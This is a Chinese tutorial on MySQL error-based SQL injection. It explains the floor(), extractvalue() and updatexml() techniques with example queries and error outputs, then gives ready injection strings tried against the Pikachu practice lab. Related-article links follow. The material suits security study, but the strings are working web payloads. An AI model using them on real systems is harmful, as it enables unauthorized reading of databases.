SQL注入之报错注入

一、报错注入原理

报错注入的原理基于应用程序在处理数据库查询时产生的错误信息。当应用程序执行一个含有恶意SQL代码的查询时,如果查询出错(例如,由于语法错误或权限不足),数据库系统通常会返回一个错误信息给应用程序。这个错误信息可能会包含有关数据库结构的敏感信息,如数据库名称、表名、列名等。攻击者可以利用这些信息来进一步构建更复杂的SQL注入攻击,以获取更多的数据库内容。

二、报错注入方法

报错注入的方法多种多样,常见的有以下几种:

① floor()报错注入

‌注:floor报错注入在MySQL版本8.0中已失效‌。

原理

通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

常见语句

SELECT COUNT(*),CONCAT((SELECT USER()),FLOOR(RAND(0)*2)) AS a FROM information_schema.tables GROUP BY a;
-- 结果: ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'
  • floor函数:返回小于等于括号内该值的最大整数。
  • rand函数:随机产生一个在0和1之间的小数。rand(0)中的0是固定的随机数的种子0,也就是说每次随机值是固定的;floor(rand(0)*2))则会伪随机0或1。
  • count函数:用于统计记录的数量
  • group by:用于分组

为什么查询语句会报错ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'呢?

实际上该语句在查询过程中会产生虚拟表,在插入虚拟表的过程中,因为插入了一个重复的值,所以就会抛出主键冗余的异常。具体原因可查看Mysql报错注入之函数分析

② extractvalue()报错注入

注:extractvalue报错适用于MySQL 5.1.5+ 版本

原理

通过在extractvalue函数的第二个参数注入一个无效的Xpath表达式,导致函数报错,从而获取数据。

常见语句

SELECT EXTRACTVALUE(RAND(),CONCAT(0x7e,(SELECT USER()),0x7e));
-- 结果: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
  • extractvalue函数extractvalue(xml_frag, xpath_expr)xml_frag是XML片段,xpath_expr是Xpath表达式。
  • concat函数:字符串拼接函数。

③ updatexml()报错注入

注:updatexml报错适用于MySQL 5.1.5+ 版本

原理

通过在updatexml函数的第二个参数注入不符合Xpath语法的表达式,从而引起数据库报错,并通过错误信息获取数据。

常见语句

SELECT UPDATEXML('x',CONCAT('~',(SELECT USER()),'~'),'x');
-- 结果: ERROR 1105 (HY000): XPATH syntax error: '~oot@localhost~'
  • updatexml函数updatexml(xml_document, XPath_string, new_value)xml_document是XML文档对象,XPath_string是Xpath路径表达式,new_value是更新后的内容。
  • concat函数:字符串拼接函数。

④ 其他报错注入

除了上述常见的报错函数外,还有其他一些函数(如exp()join等)也可以用于报错注入。这些函数在特定条件下可以触发数据库错误,从而泄露敏感信息。

三、报错注入实例

① floor()实例

在Pikachu中,进行实践。在输入框输入:1' union select count(*),1,concat((select user()),floor(rand(0)*2))as a from information_schema.tables group by a #

结果: Duplicate entry 'root@localhost1' for key 'group_key'

② extractvalue()实例

在Pikachu中,进行实践。在输入框输入:1' and (select extractvalue(rand(),concat(0x7e,(select user())))) #

结果: XPATH syntax error: '~root@localhost'

③ updatexml()实例

在Pikachu中,进行实践。在输入框输入:1' and updatexml('x',concat('~',(select user()),'~'),'x') #

结果: XPATH syntax error: '~root@localhost~'

SQL注入之报错注入的更多相关文章

  1. sql注入之报错注入and boolean注入

    1.sql注入之报错注入 正常传参,返回页面正常: 加入'  返回页面报错,出现"zhangsan"' 报错注入使用的函数 在这里我们使用 select updatexml(1,c ...

  2. [sql 注入] insert 报错注入与延时盲注

    insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...

  3. 实验吧——加了料的报错注入(exp报错注入)

    题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php 先查看页面源码得到提示知道了后台执行的sql语句,很常规的查询 测试了一个报错函数发现如下回显, ...

  4. SQL注入之报错注入常见函数

  5. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

  6. SQL注入--盲注及报错注入

    盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...

  7. SQL注入之MySQL报错注入整理

    看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...

  8. CTF-sql-group by报错注入

    本文章主要涉及group by报错注入的原理讲解,如有错误,望指出.(附有目录,如需查看请点右下角) 一.下图为本次文章所使用到 user表,该表所在的数据库为 test 二.首先介绍一下本文章所使用 ...

  9. Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]

    在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...

  10. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

随机推荐

  1. viper读取配置文件

    //方法一 func readConfig1(path, filename, filetype string) interface{} { viper.AddConfigPath(path) vipe ...

  2. 玩转AI工作流:一步步搭建灵活的自动化流程

    我们之前搭建了许多不同类型的智能体,其中最受欢迎的就是在智能体中搭建各种工作流--这也是我最喜欢探索和玩的领域.那么,究竟什么是工作流?如何在后端实现一个工作流呢?今天我们就先简单了解下. 什么是工作 ...

  3. Java基础总结大纲(一)

    1.JVM.JRE.和JDK的区别: JVM(Java Virtual Machine):java虚拟机,用于保证java的跨平台的特性.说明:java是跨平台的而JVM不是跨平台的,正对的不同的语言 ...

  4. 使用自定义 JsonConverter 解决 long 类型在前端的精度问题

    问题 Javascript 的 number 类型存在精度限制,浏览器反序列化 JSON 时,无法完整保留 long 类型的精度. 在 JSON 序列化时将 long 转换为 string 进行传递就 ...

  5. Gitlab:Restoring PostgreSQL database gitlabhq_production ... ERROR: must be owner of extension pg_trgm

    Restoring PostgreSQL database gitlabhq_production ... ERROR: must be owner of extension pg_trgm ERRO ...

  6. 【前端】解决盒子被撑大问题 box-sizing

    设置 box-sizing:border-box(原本的默认值为:content-box) box-sizing: content-box;/*盒子宽度=CSS中设置的width+border+pad ...

  7. Linux 添加开机自启动

    rc.local 方式 一.& 在 Linux 命令后加上 &  可以在后台运行 二.nohup 对 SIGHUP 信号免疫,对 SIGINT 信号不免疫,可用 shopt | gre ...

  8. Spring RestTemplete支持Https安全请求

    实现步骤 Step1: 自定义ClientHttpRequestFactory package com.example.demo.https; import org.springframework.h ...

  9. Qt音视频开发30-Onvif事件订阅

    一.前言 能够接收摄像机的报警事件,比如几乎所有的摄像机后面会增加报警输入输出接口,如果用户外接了报警输入,则当触发报警以后,对应的事件也会通过onvif传出去,这样就相当于兼容了所有onvif摄像机 ...

  10. 《Bootstrap4Web设计与开发实战》源代码下载

    <Bootstrap4Web设计与开发实战>源代码下载: 链接:https://pan.baidu.com/s/1GaIo390c-l-gsT6-6RaaJA 提取码:fgiq 版权声明: ...